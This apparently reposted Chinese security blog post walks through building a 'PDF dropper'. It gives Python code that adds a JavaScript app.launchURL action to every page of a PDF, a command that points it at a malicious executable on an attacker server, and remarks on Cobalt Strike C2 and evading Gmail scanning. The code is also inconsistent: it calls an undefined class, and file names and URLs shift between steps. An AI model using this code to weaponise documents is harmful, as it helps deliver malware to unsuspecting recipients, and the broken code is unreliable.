将恶意代码注入 PDF 文件并创建 PDF Dropper

admin 2025年4月28日00:13:07评论4 views字数 3022阅读10分4秒阅读模式

将恶意代码注入 PDF 文件并创建 PDF 植入器

介绍

PDF 文件通常被大多数人视为静态文档。然而,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了各种可用于红队测试和网络安全研究的攻击向量。在本文中,我们将研究如何将 JavaScript 注入 PDF 文件,以便从特定 URL 下载文件,并使用此方法建立命令与控制 (C2) 连接。

要使用的工具和方法

在本文中,我们将使用以下工具注入恶意代码并创建 PDF 植入器:

  • Python:创建和操作 PDF 文件。
  • fpdf2 库:向 PDF 文件添加 JavaScript。
  • 用于 C2 连接的 Cobalt Strike Payload:如果您愿意,可以使用其他 C2 或 RAT。

将 JavaScript 添加到 PDF 文件

JavaScript 可以在 PDF 文件中用于各种用途。然而,与 HTML 和网页中的 JavaScript 相比,PDF 文件中 JavaScript 的功能更为有限。出于安全考虑,浏览器和 PDF 查看器会限制 PDF 中 JavaScript 的访问范围。尽管如此,我们仍然可以在这些限制范围内执行某些操作。

创建 PDF Dropper

要将恶意代码添加到 PDF 文件并从特定 URL 下载文件,我们可以按照以下步骤操作:

步骤1:安装所需的Python库

首先,我们需要安装所需的 Python 库。fpdf2 库是用于创建和操作 PDF 文件的。

pip install fpdf2

步骤 2:向 PDF 添加 JavaScript 代码

以下 Python 代码允许您将 JavaScript 添加到 PDF 文件以从特定 URL 下载文件。

adobecodeinject.py

from core import *from core.imp import *class AdobeCodeInject():    def __init__(self, target_url: str) -> None:        self.target_url = target_url    def _make_action(self) -> DictionaryObject:        js_code = f"""try {{    app.launchURL('{self.target_url}', true);}} catch (e) {{    app.alert('Error: ' + e.message);}}"""        return DictionaryObject({            NameObject("/S"): NameObject("/JavaScript"),            NameObject("/JS"): TextStringObject(js_code),        })    def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject:        annot = DictionaryObject({            NameObject("/Type"): NameObject("/Annot"),            NameObject("/Subtype"): NameObject("/Widget"),            NameObject("/Rect"): rect,            NameObject("/FT"): NameObject("/Btn"),            NameObject("/T"): TextStringObject("Open URL"),            NameObject("/Ff"): NumberObject(4),            NameObject("/A"): action,        })        return annot    def exploit(self, pdf: Pdf):        action = self._make_action()        for p in pdf.pages:            arct = p.artbox            if not isinstance(arct, RectangleObject):                arct = p.mediabox            if not isinstance(arct, RectangleObject):                arct = p.bleedbox            print(f"{p.page_number} use arct: {arct}")            annot = self._make_annot(arct, pdf.add_object(action))            pdf.add_annotation(p, annot)

主程序

#! ./.venv/bin/python3import argparseimport sysimport ossys.path.append(os.path.dirname(os.path.abspath(__file__)))from core import Pdffrom adobecodeinject import AdobeCodeInjectdef run():    parser = argparse.ArgumentParser(prog='pdf-exploit')    parser.add_argument("-f", help="the harmless pdf path", required=True)    parser.add_argument("-p", help="password", required=False)    parser.add_argument("-o", help="the new pdf file", required=True)    chrome_group = parser.add_argument_group(        title="chrome", description="Chrome PDF exploit using JavaScript")    chrome_group.add_argument("-downloadUrl", dest="downloadUrl", required=True)    args = parser.parse_args()    pdf = Pdf(args.f, args.p)    if args.downloadUrl:        print(f"[+] use the Chrome PDF exploit: {args.downloadUrl}")        exp = ChromePdfExploit(args.downloadUrl)        exp.exploit(pdf)        print("")    print(f"[+] store to {args.o}")    pdf.store(args.o)if __name__ == "__main__":    run()

创建和测试 PDF 文件

您可以使用以下命令创建 PDF 文件:

python main.py -f original.pdf -o exploit.pdf -downloadUrl http://yourserver/malicious.exe

当你在 Adobe Acrobat 中打开exploited.pdf文件时,它应该会从http://localhost/test.exe下载该文件。此方法对于 Adobe Acrobat 软件尤其有效。

此方法甚至可以使 Gmail 将文件扫描为常规 PDF。

将恶意代码注入 PDF 文件并创建 PDF Dropper

原文始发于微信公众号(7维空间):将恶意代码注入 PDF 文件并创建 PDF Dropper

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月28日00:13:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   将恶意代码注入 PDF 文件并创建 PDF Dropperhttps://cn-sec.com/archives/4007565.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息